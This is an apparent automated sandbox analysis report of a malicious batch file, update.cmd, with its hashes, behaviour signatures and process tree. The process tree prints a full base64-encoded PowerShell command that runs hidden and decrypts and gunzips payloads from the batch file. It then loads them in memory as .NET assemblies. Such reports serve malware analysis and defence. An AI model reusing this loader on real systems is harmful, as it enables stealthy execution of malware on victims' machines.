Analysis
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max time kernel
119s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
07-03-2024 12:12
Static task
static1
Behavioral task
behavioral1
Sample
update.cmd
Resource
win7-20240221-en
3 signatures
150 seconds
Behavioral task
behavioral2
Sample
update.cmd
Resource
win10v2004-20240226-en
7 signatures
150 seconds
General
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Target
update.cmd
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Size
60KB
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MD5
55db0ea580cce204785f5537cbabf05b
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SHA1
d2f423c3416532ef91b74b50c5cb746829f3d114
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SHA256
43feb4c81e9e5be7b22c542dd0d54725075a67dbf592bb65b3b625c04256af55
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SHA512
c12463cc06def3a872f904e44378145a39c72659961ed48156b083440041d4662a454c5737fd0fa45199e659ba62a90029c3800a94526895b43ac3ac0d430480
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SSDEEP
1536:9TpJ48aohXl/LnI5BDLfj+OMfh3BRc8z4lJm5DQ3Vve:Jr4In7I5BDLfKf8+DYg
Score
1/10
Malware Config
Signatures
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2524 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2524 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 2196 wrote to memory of 2056 2196 cmd.exe cmd.exe PID 2196 wrote to memory of 2056 2196 cmd.exe cmd.exe PID 2196 wrote to memory of 2056 2196 cmd.exe cmd.exe PID 2196 wrote to memory of 2276 2196 cmd.exe cmd.exe PID 2196 wrote to memory of 2276 2196 cmd.exe cmd.exe PID 2196 wrote to memory of 2276 2196 cmd.exe cmd.exe PID 2276 wrote to memory of 2292 2276 cmd.exe cmd.exe PID 2276 wrote to memory of 2292 2276 cmd.exe cmd.exe PID 2276 wrote to memory of 2292 2276 cmd.exe cmd.exe PID 2276 wrote to memory of 2560 2276 cmd.exe cmd.exe PID 2276 wrote to memory of 2560 2276 cmd.exe cmd.exe PID 2276 wrote to memory of 2560 2276 cmd.exe cmd.exe PID 2276 wrote to memory of 2524 2276 cmd.exe powershell.exe PID 2276 wrote to memory of 2524 2276 cmd.exe powershell.exe PID 2276 wrote to memory of 2524 2276 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\update.cmd"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\update.cmd2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd /c "set __=^&rem"3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\update.cmd';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24gTmpxc2koJGFGRGxFKXskRlVRT209W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JEZVUU9tLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskRlVRT20uUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRGVVFPbS5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnQUhUZE9FL3hjdmdJSHFUajZEOGhsZStsMTdONklWWTVzOVlhSjE4WmpPWT0nKTskRlVRT20uSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnZ0Q5RS9pL2x6Wk1NMXgrQWtTUVdTQT09Jyk7JGZUdURqPSRGVVFPbS5DcmVhdGVEZWNyeXB0b3IoKTskY2NVVko9JGZUdURqLlRyYW5zZm9ybUZpbmFsQmxvY2soJGFGRGxFLDAsJGFGRGxFLkxlbmd0aCk7JGZUdURqLkRpc3Bvc2UoKTskRlVRT20uRGlzcG9zZSgpOyRjY1VWSjt9ZnVuY3Rpb24ga1FoZWsoJGFGRGxFKXska2ZtWmc9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkYUZEbEUpOyRpV212WD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JHdSd2RrPU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJGtmbVpnLFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskd1J3ZGsuQ29weVRvKCRpV212WCk7JHdSd2RrLkRpc3Bvc2UoKTska2ZtWmcuRGlzcG9zZSgpOyRpV212WC5EaXNwb3NlKCk7JGlXbXZYLlRvQXJyYXkoKTt9JG1KZ3ViPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskdFBTeEY9a1FoZWsgKE5qcXNpIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJG1KZ3ViLCA1KS5TdWJzdHJpbmcoMikpKSk7JHlTZ2taPWtRaGVrIChOanFzaSAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCRtSmd1YiwgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0keVNna1opLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJHRQU3hGKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/2524-4-0x000000001B450000-0x000000001B732000-memory.dmpFilesize
2.9MB
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memory/2524-5-0x0000000001EC0000-0x0000000001EC8000-memory.dmpFilesize
32KB
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memory/2524-6-0x000007FEF5E00000-0x000007FEF679D000-memory.dmpFilesize
9.6MB
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memory/2524-7-0x0000000002990000-0x0000000002A10000-memory.dmpFilesize
512KB
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memory/2524-8-0x000007FEF5E00000-0x000007FEF679D000-memory.dmpFilesize
9.6MB
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memory/2524-9-0x0000000002990000-0x0000000002A10000-memory.dmpFilesize
512KB
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memory/2524-10-0x0000000002990000-0x0000000002A10000-memory.dmpFilesize
512KB
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memory/2524-11-0x0000000002990000-0x0000000002A10000-memory.dmpFilesize
512KB
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memory/2524-12-0x000007FEF5E00000-0x000007FEF679D000-memory.dmpFilesize
9.6MB
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memory/2524-13-0x0000000002990000-0x0000000002A10000-memory.dmpFilesize
512KB
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memory/2524-14-0x0000000002990000-0x0000000002A10000-memory.dmpFilesize
512KB
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memory/2524-15-0x0000000002990000-0x0000000002A10000-memory.dmpFilesize
512KB
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memory/2524-16-0x0000000002990000-0x0000000002A10000-memory.dmpFilesize
512KB